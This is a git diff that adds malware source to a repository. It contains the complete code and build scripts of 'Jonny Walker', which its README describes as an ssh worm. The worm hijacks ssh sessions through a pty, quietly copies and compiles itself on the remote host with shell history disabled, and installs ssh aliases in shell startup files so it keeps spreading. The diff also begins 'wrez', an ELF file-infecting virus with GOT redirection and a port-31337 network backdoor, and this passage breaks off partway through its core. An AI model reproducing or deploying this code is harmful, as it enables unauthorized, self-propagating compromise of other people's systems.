| 163 | #define __NR_munlockall 153 | ||
| 164 | #define __NR_sched_setparam 154 | ||
| 165 | #define __NR_sched_getparam 155 | ||
| 166 | #define __NR_sched_setscheduler 156 | ||
| 167 | #define __NR_sched_getscheduler 157 | ||
| 168 | #define __NR_sched_yield 158 | ||
| 169 | #define __NR_sched_get_priority_max 159 | ||
| 170 | #define __NR_sched_get_priority_min 160 | ||
| 171 | #define __NR_sched_rr_get_interval 161 | ||
| 172 | #define __NR_nanosleep 162 | ||
| 173 | #define __NR_mremap 163 | ||
| 174 | #define __NR_setresuid 164 | ||
| 175 | #define __NR_getresuid 165 | ||
| 176 | #define __NR_vm86 166 | ||
| 177 | #define __NR_query_module 167 | ||
| 178 | #define __NR_poll 168 | ||
| 179 | #define __NR_nfsservctl 169 | ||
| 180 | #define __NR_setresgid 170 | ||
| 181 | #define __NR_getresgid 171 | ||
| 182 | #define __NR_prctl 172 | ||
| 183 | #define __NR_rt_sigreturn 173 | ||
| 184 | #define __NR_rt_sigaction 174 | ||
| 185 | #define __NR_rt_sigprocmask 175 | ||
| 186 | #define __NR_rt_sigpending 176 | ||
| 187 | #define __NR_rt_sigtimedwait 177 | ||
| 188 | #define __NR_rt_sigqueueinfo 178 | ||
| 189 | #define __NR_rt_sigsuspend 179 | ||
| 190 | #define __NR_pread 180 | ||
| 191 | #define __NR_pwrite 181 | ||
| 192 | #define __NR_chown 182 | ||
| 193 | #define __NR_getcwd 183 | ||
| 194 | #define __NR_capget 184 | ||
| 195 | #define __NR_capset 185 | ||
| 196 | #define __NR_sigaltstack 186 | ||
| 197 | #define __NR_sendfile 187 | ||
| 198 | #define __NR_getpmsg 188 /* some people actually want streams */ | ||
| 199 | #define __NR_putpmsg 189 /* some people actually want streams */ | ||
| 200 | #define __NR_vfork 190 | ||
| 201 | #define __NR_stat64 195 | ||
| 202 | |||
| 203 | /* user-visible error numbers are in the range -1 - -122: see <asm-i386/errno.h> */ | ||
| 204 | |||
| 205 | #define __syscall_return(type, res) \ | ||
| 206 | do { \ | ||
| 207 | if ((unsigned long)(res) >= (unsigned long)(-125)) { \ | ||
| 208 | errno = -(res); \ | ||
| 209 | res = -1; \ | ||
| 210 | } \ | ||
| 211 | return (type) (res); \ | ||
| 212 | } while (0) | ||
| 213 | |||
| 214 | /* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */ | ||
| 215 | #define _syscall0(type,name) \ | ||
| 216 | type name(void) \ | ||
| 217 | { \ | ||
| 218 | long __res; \ | ||
| 219 | __asm__ volatile ("int $0x80" \ | ||
| 220 | : "=a" (__res) \ | ||
| 221 | : "0" (__NR_##name)); \ | ||
| 222 | __syscall_return(type,__res); \ | ||
| 223 | } | ||
| 224 | |||
| 225 | #define _syscall1(type,name,type1,arg1) \ | ||
| 226 | type name(type1 arg1) \ | ||
| 227 | { \ | ||
| 228 | long __res; \ | ||
| 229 | __asm__ volatile ("int $0x80" \ | ||
| 230 | : "=a" (__res) \ | ||
| 231 | : "0" (__NR_##name),"b" ((long)(arg1))); \ | ||
| 232 | __syscall_return(type,__res); \ | ||
| 233 | } | ||
| 234 | |||
| 235 | #define _syscall2(type,name,type1,arg1,type2,arg2) \ | ||
| 236 | type name(type1 arg1,type2 arg2) \ | ||
| 237 | { \ | ||
| 238 | long __res; \ | ||
| 239 | __asm__ volatile ("int $0x80" \ | ||
| 240 | : "=a" (__res) \ | ||
| 241 | : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \ | ||
| 242 | __syscall_return(type,__res); \ | ||
| 243 | } | ||
| 244 | |||
| 245 | #define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ | ||
| 246 | type name(type1 arg1,type2 arg2,type3 arg3) \ | ||
| 247 | { \ | ||
| 248 | long __res; \ | ||
| 249 | __asm__ volatile ("int $0x80" \ | ||
| 250 | : "=a" (__res) \ | ||
| 251 | : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ | ||
| 252 | "d" ((long)(arg3))); \ | ||
| 253 | __syscall_return(type,__res); \ | ||
| 254 | } | ||
| 255 | |||
| 256 | #define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \ | ||
| 257 | type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \ | ||
| 258 | { \ | ||
| 259 | long __res; \ | ||
| 260 | __asm__ volatile ("int $0x80" \ | ||
| 261 | : "=a" (__res) \ | ||
| 262 | : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ | ||
| 263 | "d" ((long)(arg3)),"S" ((long)(arg4))); \ | ||
| 264 | __syscall_return(type,__res); \ | ||
| 265 | } | ||
| 266 | |||
| 267 | #define _syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ | ||
| 268 | type5,arg5) \ | ||
| 269 | type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \ | ||
| 270 | { \ | ||
| 271 | long __res; \ | ||
| 272 | __asm__ volatile ("int $0x80" \ | ||
| 273 | : "=a" (__res) \ | ||
| 274 | : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ | ||
| 275 | "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \ | ||
| 276 | __syscall_return(type,__res); \ | ||
| 277 | } | ||
| 278 | |||
| 279 | |||
| 280 | #endif /* _ASM_I386_UNISTD_H_ */ | ||
| 281 | |||
diff --git a/other/wrez/victim b/other/wrez/victim new file mode 100755 index 0000000..e67e2b0 --- /dev/null +++ b/other/wrez/victim | |||
| Binary files differ | |||
diff --git a/other/wrez/walker/README b/other/wrez/walker/README new file mode 100644 index 0000000..4565d02 --- /dev/null +++ b/other/wrez/walker/README | |||
| @@ -0,0 +1,21 @@ | |||
| 1 | Jonny Walker 1.0 | ||
| 2 | ================ | ||
| 3 | |||
| 4 | Jonny is a ssh worm. Make sure you know what you are doing | ||
| 5 | before starting or compiling it. | ||
| 6 | |||
| 7 | Jonny will define aliases from "$HOME/ " to ssh and | ||
| 8 | /usr/bin/ssh. Once user calls ssh to log into a remote | ||
| 9 | site, Jonny will slip the real ssh output through a pty | ||
| 10 | and controls the whole session. Once it sees prompt of remote | ||
| 11 | shell he will plant himself there so that following ssh | ||
| 12 | sessions from that account will be wormed too. | ||
| 13 | Appropriate backdooring-functions may be added very easily. | ||
| 14 | |||
| 15 | To build Jonny, just type './plant'. Then | ||
| 16 | "./walker root@remote.host" | ||
| 17 | |||
| 18 | To remove Jonny, remove the ssh aliases from .bashrc, | ||
| 19 | .bash_profile and .cshrc. Also remove ' ' binary in ~. | ||
| 20 | |||
| 21 | |||
diff --git a/other/wrez/walker/beautify b/other/wrez/walker/beautify new file mode 100644 index 0000000..1810291 --- /dev/null +++ b/other/wrez/walker/beautify | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | while (<>) { | ||
| 2 | s/\t//g; | ||
| 3 | s/\/\/[^\n]+//g; | ||
| 4 | print; | ||
| 5 | } | ||
| 6 | |||
diff --git a/other/wrez/walker/fixsize b/other/wrez/walker/fixsize new file mode 100755 index 0000000..1138843 --- /dev/null +++ b/other/wrez/walker/fixsize | |||
| @@ -0,0 +1,14 @@ | |||
| 1 | #!/usr/bin/perl | ||
| 2 | |||
| 3 | my $i = shift; | ||
| 4 | my $o = shift; | ||
| 5 | open I, "<$i" or die "$!"; | ||
| 6 | open O, ">$o" or die "$!"; | ||
| 7 | my $size = (stat $i)[7]; | ||
| 8 | |||
| 9 | while (<I>) { | ||
| 10 | s/9999/$size/; | ||
| 11 | print O; | ||
| 12 | } | ||
| 13 | close I; close O; | ||
| 14 | |||
diff --git a/other/wrez/walker/plant b/other/wrez/walker/plant new file mode 100755 index 0000000..22fcb6c --- /dev/null +++ b/other/wrez/walker/plant | |||
| @@ -0,0 +1,13 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # run this to build 'walker' binary | ||
| 4 | # which infects remote system if used | ||
| 5 | # instead of ssh binary | ||
| 6 | |||
| 7 | cat walker.c|perl beautify|cat>w.c | ||
| 8 | ./fixsize w.c w2.c | ||
| 9 | cc -O2 w2.c -o walker | ||
| 10 | strip walker | ||
| 11 | cat w2.c>>walker | ||
| 12 | rm -f w.c w2.c | ||
| 13 | |||
diff --git a/other/wrez/walker/walker b/other/wrez/walker/walker new file mode 100755 index 0000000..fca2f3d --- /dev/null +++ b/other/wrez/walker/walker | |||
| Binary files differ | |||
diff --git a/other/wrez/walker/walker.c b/other/wrez/walker/walker.c new file mode 100644 index 0000000..fb40898 --- /dev/null +++ b/other/wrez/walker/walker.c | |||
| @@ -0,0 +1,278 @@ | |||
| 1 | // I partly ripped the idea from a friend who did similar | ||
| 2 | // things in a different way. However this solution seems | ||
| 3 | // more usable. | ||
| 4 | #include <stdio.h> | ||
| 5 | #include <sys/types.h> | ||
| 6 | #include <fcntl.h> | ||
| 7 | #include <errno.h> | ||
| 8 | #include <unistd.h> | ||
| 9 | #include <sys/ioctl.h> | ||
| 10 | #include <termios.h> | ||
| 11 | #include <string.h> | ||
| 12 | |||
| 13 | |||
| 14 | FILE *me; | ||
| 15 | |||
| 16 | int open_pty(int *master, int *slave) | ||
| 17 | { | ||
| 18 | char devpty[] = "/dev/ptyXY"; | ||
| 19 | char *s1 = "pqrstuvwxyzPQRST", | ||
| 20 | *s2 = "0123456789abcdef"; | ||
| 21 | |||
| 22 | for (; *s1 != 0; ++s1) { | ||
| 23 | devpty[8] = *s1; | ||
| 24 | for (; *s2 != 0; ++s2) { | ||
| 25 | devpty[9] = *s2; | ||
| 26 | if ((*master = open(devpty, O_RDWR|O_NOCTTY)) < 0) { | ||
| 27 | if (errno == ENOENT) | ||
| 28 | return -1; | ||
| 29 | else | ||
| 30 | continue; | ||
| 31 | } | ||
| 32 | devpty[5] = 't'; | ||
| 33 | if ((*slave = open(devpty, O_RDWR|O_NOCTTY)) < 0) { | ||
| 34 | close(*master); | ||
| 35 | return -1; | ||
| 36 | } | ||
| 37 | return 0; | ||
| 38 | } | ||
| 39 | } | ||
| 40 | return -1; | ||
| 41 | } | ||
| 42 | |||
| 43 | |||
| 44 | char crept_in = 0; | ||
| 45 | |||
| 46 | // contains buf the shellprompt? | ||
| 47 | char check_shell(char *buf) | ||
| 48 | { | ||
| 49 | int l = strlen(buf); | ||
| 50 | if (l < 2) | ||
| 51 | return 0; | ||
| 52 | if ((buf[l-2] == '#' || buf[l-2] == '>' || | ||
| 53 | buf[l-2] == ')' || buf[l-2] == '$') && | ||
| 54 | buf[l-1] == ' ') | ||
| 55 | return 1; | ||
| 56 | return 0; | ||
| 57 | } | ||
| 58 | |||
| 59 | // read until you see shellprompt | ||
| 60 | int s_read(int fd, char *d, size_t dl) | ||
| 61 | { | ||
| 62 | do { | ||
| 63 | memset(d, 0, dl); | ||
| 64 | if (read(fd, d, dl) <= 0) | ||
| 65 | return -1; | ||
| 66 | } while (!check_shell(d)); | ||
| 67 | return 0; | ||
| 68 | } | ||
| 69 | |||
| 70 | |||
| 71 | // read exactly until string s seen | ||
| 72 | // do not even read one byte more | ||
| 73 | int read_until(int fd, char *s) | ||
| 74 | { | ||
| 75 | char *buf = (char*)calloc(1, 128); | ||
| 76 | char *ptr = buf; | ||
| 77 | int l = 0, n = 0, i = 1, N = 0; | ||
| 78 | |||
| 79 | do { | ||
| 80 | l = read(fd, ptr, 1); | ||
| 81 | if (l <= 0) { | ||
| 82 | free(buf); | ||
| 83 | return -1; | ||
| 84 | } | ||
| 85 | ++ptr; ++n; ++N; | ||
| 86 | if (n >= 127) { | ||
| 87 | ++i; n = 0; | ||
| 88 | buf = (char*)realloc(buf, 128*i); | ||
| 89 | ptr = buf+N; | ||
| 90 | memset(ptr, 0, 128); | ||
| 91 | } | ||
| 92 | } while (strstr(buf, s) == NULL); | ||
| 93 | |||
| 94 | free(buf); | ||
| 95 | return 0; | ||
| 96 | } | ||
| 97 | |||
| 98 | |||
| 99 | int creep_in(int fd) | ||
| 100 | { | ||
| 101 | char dummy[4096], | ||
| 102 | *shell = "\x24SHELL\n", | ||
| 103 | *cat = "dd of=x2.c bs=1 count=9999\n", | ||
| 104 | *noecho = "unset HISTFILE\n", | ||
| 105 | *cc = "cc x2.c -o ' ';cat x2.c>>' ';rm -f x2.c\n", | ||
| 106 | *test = "grep -q -s ssh .bashrc;echo \x24?\n", | ||
| 107 | |||
| 108 | *plant = "echo >>.bashrc;" | ||
| 109 | "echo alias ssh=\"\x24HOME/'\x5c '\">>.bashrc;" | ||
| 110 | "echo alias /usr/bin/ssh=\"\x24HOME/'\x5c '\">>.bashrc;" | ||
| 111 | |||
| 112 | "echo >>.bash_profile;" | ||
| 113 | "echo alias ssh=\"\x24HOME/'\x5c '\">>.bash_profile;" | ||
| 114 | "echo alias /usr/bin/ssh=\"\x24HOME/'\x5c '\">>.bash_profile;" | ||
| 115 | |||
| 116 | "echo >>.cshrc;" | ||
| 117 | "echo alias ssh \"\x24HOME/'\x5c '\">>.cshrc;" | ||
| 118 | "echo alias /usr/bin/ssh \"\x24HOME/'\x5c '\">>.cshrc\n", | ||
| 119 | |||
| 120 | *exit = "stty echo;exit\n", | ||
| 121 | *newsh = "exec \x24SHELL\n"; | ||
| 122 | int i = 0; | ||
| 123 | struct termios t, ot; | ||
| 124 | |||
| 125 | // disable echo on master or we would | ||
| 126 | // read twice what we wrote to shell | ||
| 127 | tcgetattr(fd, &t); ot = t; t.c_lflag &= ~ECHO; | ||
| 128 | tcsetattr(fd, TCSANOW, &t); | ||
| 129 | |||
| 130 | write(fd, shell, strlen(shell)); | ||
| 131 | read_until(fd, "\x24SHELL"); | ||
| 132 | |||
| 133 | s_read(fd, dummy, sizeof(dummy)); | ||
| 134 | |||
| 135 | write(fd, noecho, strlen(noecho)); | ||
| 136 | read_until(fd, "\n"); | ||
| 137 | s_read(fd, dummy, sizeof(dummy)); | ||
| 138 | |||
| 139 | write(fd, test, strlen(test)); // see if account is already infected | ||
| 140 | read_until(fd, "\n"); | ||
| 141 | memset(dummy, 0, sizeof(dummy)); | ||
| 142 | read(fd, dummy, 1); | ||
| 143 | |||
| 144 | printf("infected: %c\r\n", dummy[0]); | ||
| 145 | |||
| 146 | if (dummy[0] == '0') | ||
| 147 | s_read(fd, dummy, sizeof(dummy)); // infected | ||
| 148 | else { | ||
| 149 | s_read(fd, dummy, sizeof(dummy)); // not infected | ||
| 150 | |||
| 151 | write(fd, cat, strlen(cat)); | ||
| 152 | read_until(fd, "\n"); | ||
| 153 | |||
| 154 | while (fgets(dummy, sizeof(dummy), me)) | ||
| 155 | write(fd, dummy, strlen(dummy)); | ||
| 156 | |||
| 157 | read_until(fd, "records out"); | ||
| 158 | s_read(fd, dummy, sizeof(dummy)); | ||
| 159 | |||
| 160 | write(fd, cc, strlen(cc)); | ||
| 161 | read_until(fd, "\n"); | ||
| 162 | s_read(fd, dummy, sizeof(dummy)); | ||
| 163 | |||
| 164 | write(fd, plant, strlen(plant)); | ||
| 165 | read_until(fd, "\n"); | ||
| 166 | s_read(fd, dummy, sizeof(dummy)); | ||
| 167 | } | ||
| 168 | |||
| 169 | write(fd, exit, strlen(exit)); | ||
| 170 | read_until(fd, "\n"); | ||
| 171 | s_read(fd, dummy, sizeof(dummy)); | ||
| 172 | |||
| 173 | write(fd, newsh, strlen(newsh)); | ||
| 174 | read_until(fd, "\x24SHELL"); | ||
| 175 | |||
| 176 | s_read(fd, dummy, sizeof(dummy));// read 2nd time b/c | ||
| 177 | // $ from $SHELL matched again | ||
| 178 | |||
| 179 | // reset terminal mode | ||
| 180 | tcsetattr(fd, TCSANOW, &ot); | ||
| 181 | return 0; | ||
| 182 | } | ||
| 183 | |||
| 184 | |||
| 185 | extern char **environ; | ||
| 186 | |||
| 187 | int main(int argc, char **argv) | ||
| 188 | { | ||
| 189 | int m, s, r; | ||
| 190 | char **ssh, buf[4096]; | ||
| 191 | fd_set rset; | ||
| 192 | struct termios t, ot; | ||
| 193 | struct winsize ws; | ||
| 194 | |||
| 195 | |||
| 196 | ssh = (char**)calloc(argc, sizeof(char *)); | ||
| 197 | for (m = 0; m < argc; ++m) { | ||
| 198 | ssh[m] = (char*)calloc(strlen(argv[m])+10, 1); | ||
| 199 | strcpy(ssh[m], argv[m]); | ||
| 200 | } | ||
| 201 | strcpy(ssh[0], "ssh"); | ||
| 202 | me = fopen(*argv, "r"); | ||
| 203 | memset(*argv, 0, strlen(*argv)); strcpy(*argv, "ssh"); | ||
| 204 | |||
| 205 | fseek(me, -9999, SEEK_END); | ||
| 206 | |||
| 207 | setbuffer(stdin, NULL, 0); | ||
| 208 | setbuffer(stdout, NULL, 0); | ||
| 209 | |||
| 210 | if (open_pty(&m, &s) < 0) | ||
| 211 | return 1; | ||
| 212 | |||
| 213 | // make term raw | ||
| 214 | tcgetattr(m, &t); ot = t; cfmakeraw(&t); | ||
| 215 | t.c_cc[VMIN] = 1; | ||
| 216 | t.c_cc[VTIME] = 0; | ||
| 217 | tcsetattr(0, TCSANOW, &t); | ||
| 218 | |||
| 219 | // set correct size on slave | ||
| 220 | if (ioctl(0, TIOCGWINSZ, (char*)&ws) >= 0) | ||
| 221 | ioctl(s, TIOCSWINSZ, (char*)&ws); | ||
| 222 | |||
| 223 | |||
| 224 | if (fork() == 0) { | ||
| 225 | setsid(); | ||
| 226 | // make slave point to stdin/stdout/stderr and the | ||
| 227 | // controlling terminal | ||
| 228 | dup2(s, 0); dup2(s, 1); dup2(s, 2); | ||
| 229 | close(m); close(s); | ||
| 230 | ioctl(0, TIOCSCTTY, 0); | ||
| 231 | execve("/usr/bin/ssh", ssh, environ); | ||
| 232 | execve("/usr/local/bin/ssh", ssh, environ); | ||
| 233 | execve("/usr/sbin/ssh", ssh, environ); | ||
| 234 | exit(1); | ||
| 235 | } | ||
| 236 | close(s); | ||
| 237 | |||
| 238 | |||
| 239 | // standard lame I/O multiplex | ||
| 240 | while (1) { | ||
| 241 | FD_ZERO(&rset); | ||
| 242 | FD_SET(0, &rset); | ||
| 243 | FD_SET(m, &rset); | ||
| 244 | |||
| 245 | if (select(m+1, &rset, NULL, NULL, NULL) < 0) { | ||
| 246 | if (errno == EAGAIN) | ||
| 247 | continue; | ||
| 248 | else | ||
| 249 | break; | ||
| 250 | } | ||
| 251 | memset(buf, 0, sizeof(buf)); | ||
| 252 | if (FD_ISSET(0, &rset)) { | ||
| 253 | r = read(0, buf, sizeof(buf)); | ||
| 254 | if (r <= 0) | ||
| 255 | break; | ||
| 256 | if (write(m, buf, r) < 0) | ||
| 257 | break; | ||
| 258 | } | ||
| 259 | if (FD_ISSET(m, &rset)) { | ||
| 260 | r = read(m, buf, sizeof(buf)); | ||
| 261 | if (r <= 0) | ||
| 262 | break; | ||
| 263 | if (write(1, buf, r) < 0) | ||
| 264 | break; | ||
| 265 | if (!crept_in && check_shell(buf)) { | ||
| 266 | crept_in = 1; | ||
| 267 | creep_in(m); | ||
| 268 | } | ||
| 269 | |||
| 270 | |||
| 271 | } | ||
| 272 | } | ||
| 273 | |||
| 274 | // reset terminal | ||
| 275 | tcsetattr(0, TCSANOW, &ot); | ||
| 276 | return 0; | ||
| 277 | } | ||
| 278 | |||
diff --git a/other/wrez/wrconfig.h b/other/wrez/wrconfig.h new file mode 100644 index 0000000..92a190f --- /dev/null +++ b/other/wrez/wrconfig.h | |||
| @@ -0,0 +1,82 @@ | |||
| 1 | |||
| 2 | #ifndef WRCONFIG_H | ||
| 3 | #define WRCONFIG_H | ||
| 4 | |||
| 5 | #pragma pack(1) | ||
| 6 | |||
| 7 | #define VICTIM_LEN 32 | ||
| 8 | |||
| 9 | |||
| 10 | /* wrdynconfig | ||
| 11 | * | ||
| 12 | * only active after the first infection has taken place. | ||
| 13 | */ | ||
| 14 | |||
| 15 | typedef struct { | ||
| 16 | unsigned char cnul; /* constant 0x00 */ | ||
| 17 | unsigned int flags; /* various flags, see below */ | ||
| 18 | |||
| 19 | /* flag dependant fields | ||
| 20 | */ | ||
| 21 | unsigned int icount; /* (WRF_GENERATION_LIMIT) infection count */ | ||
| 22 | unsigned int curhost; /* (WRF_KEEP_FINGERPRINT) this host */ | ||
| 23 | |||
| 24 | unsigned char xxx_temp[8]; /* FIXME: temporary filename for testing */ | ||
| 25 | } wrdynconfig; | ||
| 26 | |||
| 27 | /* flag access macros | ||
| 28 | */ | ||
| 29 | #define WRF_ISSET(flags,flagmask) \ | ||
| 30 | (((flags) & (flagmask)) == (flagmask)) | ||
| 31 | #define WRF_SET(flags,flagmask) \ | ||
| 32 | (flags) |= (flagmask); | ||
| 33 | #define WRF_CLEAR(flags,flagmask) \ | ||
| 34 | (flags) &= ~(flagmask); | ||
| 35 | #define WRF_TOGGLE(flags,flagmask) \ | ||
| 36 | (flags) ^= (flagmask); | ||
| 37 | |||
| 38 | /* limit propagation by icount, icount is decreased until it reaches 0 */ | ||
| 39 | #define WRF_GENERATION_LIMIT 0x00000001 | ||
| 40 | /* always keep a fingerprint of the current host in curhost */ | ||
| 41 | #define WRF_GET_FINGERPRINT 0x00000002 | ||
| 42 | |||
| 43 | |||
| 44 | typedef struct { | ||
| 45 | unsigned long int wr_start; /* virtual start address */ | ||
| 46 | unsigned long int decomp_len; | ||
| 47 | unsigned long int wr_oldctors; /* original .ctors address */ | ||
| 48 | |||
| 49 | unsigned long int elf_base; /* &elf_header[0] of host */ | ||
| 50 | |||
| 51 | union { | ||
| 52 | /* upon first infection the victim array is used to carry the | ||
| 53 | * name of the executeable to be infected. | ||
| 54 | * afterwards (i.e. any other infection) this space is | ||
| 55 | * recycled for data specifying various properties of the | ||
| 56 | * virus. see wrcore.c for a more in-depth explanation. | ||
| 57 | * | ||
| 58 | * first infection (set by the "initial" program): | ||
| 59 | * victim = filename to be infected | ||
| 60 | * vcfgptr = pointer to memory which will overwrite the | ||
| 61 | * vcfg structure. | ||
| 62 | */ | ||
| 63 | struct { | ||
| 64 | unsigned char victim[VICTIM_LEN]; | ||
| 65 | void * vcfgptr; | ||
| 66 | } vinit; | ||
| 67 | |||
| 68 | wrdynconfig vcfg; | ||
| 69 | } dyn; | ||
| 70 | |||
| 71 | /* compression related data | ||
| 72 | */ | ||
| 73 | unsigned long int cmprlen; | ||
| 74 | unsigned char llstuff; | ||
| 75 | unsigned short int hl1stuff; | ||
| 76 | unsigned char hl2stuff; | ||
| 77 | unsigned char hf2stuff; | ||
| 78 | } wrconfig; | ||
| 79 | |||
| 80 | #endif | ||
| 81 | |||
| 82 | |||
diff --git a/other/wrez/wrcore.c b/other/wrez/wrcore.c new file mode 100644 index 0000000..f2219d2 --- /dev/null +++ b/other/wrez/wrcore.c | |||
| @@ -0,0 +1,1133 @@ | |||
| 1 | /* wrez infector core | ||
| 2 | */ | ||
| 3 | |||
| 4 | #include <elf.h> | ||
| 5 | #include "int80.h" | ||
| 6 | #include "int80-net.h" | ||
| 7 | #include "unistd.h" | ||
| 8 | |||
| 9 | #include "wrconfig.h" | ||
| 10 | #include "wrezdefs.h" | ||
| 11 | #include "fingerprint.h" | ||
| 12 | #include "lime-interface.h" | ||
| 13 | #include "lookup.h" | ||
| 14 | |||
| 15 | #include "common.c" | ||
| 16 | #include "wrutil.c" | ||
| 17 | |||
| 18 | |||
| 19 | #define WREZ_SIZE_COMP (cfg->cmprlen + cfg->decomp_len) | ||
| 20 | |||
| 21 | |||
| 22 | /* static prototypes plus the central wrez_main function | ||
| 23 | */ | ||
| 24 | |||
| 25 | int wrez_main (wrconfig *cfg); | ||
| 26 | static inline int isinfected (char *filename); | ||
| 27 | static inline void infect (wrconfig *cfg, char *filename, char *mvfile); | ||
| 28 | static unsigned int infect_image (wrconfig *cfg, unsigned char *dest, | ||
| 29 | unsigned long int new_entry); | ||
| 30 | static inline void fixup_ctors (int vfd, unsigned long int old_addr, | ||
| 31 | unsigned long int new_addr, unsigned int startseek, | ||
| 32 | unsigned int lenseek); | ||
| 33 | static inline int look_user (wrconfig *cfg); | ||
| 34 | static inline int look_user_proc (wrconfig *cfg, char *t_proc, | ||
| 35 | unsigned char *filename); | ||
| 36 | static int mmap (void *start, long length, int prot, int flags, | ||
| 37 | int fd, long offset); | ||
| 38 | unsigned int fp_get (void); | ||
| 39 | |||
| 40 | |||
| 41 | /* define-dependant prototypes | ||
| 42 | */ | ||
| 43 | |||
| 44 | #ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE | ||
| 45 | static void ex_wrez_got_deep_redirect (wrconfig *cfg); | ||
| 46 | static int ex_wrez_malloc (int size); | ||
| 47 | #endif | ||
| 48 | |||
| 49 | #ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE | ||
| 50 | static void ex_wrez_got_redirect (wrconfig *cfg); | ||
| 51 | static int ex_wrez_got_test (char *toprint); | ||
| 52 | #endif | ||
| 53 | |||
| 54 | #ifdef LOOKUP_LIBC_CALL_EXAMPLE | ||
| 55 | static void ex_wrez_libc_call (wrconfig *cfg); | ||
| 56 | #endif | ||
| 57 | |||
| 58 | #ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC | ||
| 59 | static void backdoor_network (wrconfig *cfg); | ||
| 60 | static int backdoor_network_accept (int s, void *addr, int addr_len); | ||
| 61 | int backdoor_network_check (int sock); | ||
| 62 | #define MAGIC_PORT 31337 | ||
| 63 | #endif | ||
| 64 | |||
| 65 | |||
| 66 | /* core infection function, doing all the work | ||
| 67 | * | ||
| 68 | * the return value controls the environment code in wrez.asm: | ||
| 69 | * | ||
| 70 | * == 0: erase all virus memory before passing control to host application | ||
| 71 | * != 0: keep virus in memory forever | ||
| 72 | */ | ||
| 73 | int | ||
| 74 | wrez_main (wrconfig *cfg) | ||
| 75 | { | ||
| 76 | char * foo; /* TODO: remove this ;) */ | ||
| 77 | char initfilename[VICTIM_LEN]; /* temporary copy */ | ||
| 78 | wrdynconfig * dcfg = &cfg->dyn.vcfg; | ||
| 79 | |||
| 80 | |||
| 81 | #ifdef LOOKUP_LIBC_CALL_EXAMPLE | ||
| 82 | ex_wrez_libc_call (cfg); | ||
| 83 | #endif | ||
| 84 | |||
| 85 | #ifdef LOOKUP_GOT_REDIRECTION_EXAMPLE | ||
| 86 | ex_wrez_got_redirect (cfg); | ||
| 87 | #endif | ||
| 88 | |||
| 89 | #ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE | ||
| 90 | ex_wrez_got_deep_redirect (cfg); | ||
| 91 | #endif | ||
| 92 | |||
| 93 | #ifdef LOOKUP_BACKDOOR_NETWORK_MAGIC | ||
| 94 | backdoor_network (cfg); | ||
| 95 | #endif | ||
| 96 | |||
| 97 | /* first infection run | ||
| 98 | */ | ||
| 99 | if (cfg->dyn.vcfg.cnul != 0) { | ||
| 100 | memcpy (initfilename, cfg->dyn.vinit.victim, VICTIM_LEN); | ||
| 101 | |||
| 102 | /* if initial infection process passed us a configuration | ||
| 103 | * structure pointer, copy it. | ||
| 104 | */ | ||
| 105 | if (cfg->dyn.vinit.vcfgptr != NULL) { | ||
| 106 | memcpy ((unsigned char *) &cfg->dyn.vcfg, | ||
| 107 | (unsigned char *) cfg->dyn.vinit.vcfgptr, | ||
| 108 | sizeof (cfg->dyn.vcfg)); | ||
| 109 | } | ||
| 110 | |||
| 111 | /* now infect the initial victim, exit afterwards | ||
| 112 | */ | ||
| 113 | if (isinfected (initfilename) == 0) | ||
| 114 | infect (cfg, initfilename, (char *) 0); | ||
| 115 | |||
| 116 | return (1); | ||
| 117 | } | ||
| 118 | |||
| 119 | /* XXX: put runtime related stuff, such as GOT hook code in here | ||
| 120 | */ | ||
| 121 | |||
| 122 | |||
| 123 | /*** this is executed in all other infection runs (normal case) | ||
| 124 | */ | ||
| 125 | |||
| 126 | /* WRF_GENERATION_LIMIT */ | ||
| 127 | if (WRF_ISSET (dcfg->flags, WRF_GENERATION_LIMIT)) { | ||
| 128 | /* this is already the last (infertile) generation | ||
| 129 | */ | ||
| 130 | if (dcfg->icount == 0) | ||
| 131 | return (1); | ||
| 132 | |||
| 133 | /* else just decrease icount, since if we won't propagate, | ||
| 134 | * then its not used anyway. | ||
| 135 | */ | ||
| 136 | dcfg->icount -= 1; | ||
| 137 | } | ||
| 138 | |||
| 139 | #ifdef FINGERPRINT | ||
| 140 | /* WRF_GET_FINGERPRINT */ | ||
| 141 | if (WRF_ISSET (dcfg->flags, WRF_GET_FINGERPRINT)) { | ||
| 142 | dcfg->curhost = fp_get (); | ||
| 143 | } | ||
| 144 | #endif | ||
| 145 | |||
| 146 | /* FIXME: this is testing code only, to test propagation | ||
| 147 | */ | ||
| 148 | if (isinfected (dcfg->xxx_temp) != 0) { | ||
| 149 | STRINGPTR (foo, "infected\\n"); | ||
| 150 | write (2, foo, 9); | ||
| 151 | } else { | ||
| 152 | STRINGPTR (foo, "tmp"); | ||
| 153 | infect (cfg, dcfg->xxx_temp, (char *) foo); | ||
| 154 | } | ||
| 155 | |||
| 156 | return (1); | ||
| 157 | } | ||
| 158 | |||
| 159 | |||
| 160 | #ifdef LOOKUP_GOT_DEEP_REDIRECTION_EXAMPLE | ||
| 161 | static void | ||
| 162 | ex_wrez_got_deep_redirect (wrconfig *cfg) | ||
| 163 | { | ||
| 164 | char * mallocstr; | ||
| 165 | Elf32_Word * mallocgot[8]; | ||
| 166 | Elf32_Word * cgot; /* correct got slot */ | ||
| 167 | void * mymalloc; | ||
| 168 | char * sostr; | ||
| 169 | |||
| 170 | |||
| 171 | STRINGPTR (mallocstr, "malloc"); | ||
| 172 | STRINGPTR (sostr, "shared-library.so"); | ||
| 173 | |||
| 174 | if (got_funcloc_array ((void *) cfg->elf_base, mallocstr, mallocgot, 8, | ||
| 175 | sostr) != 1) | ||
| 176 | { | ||
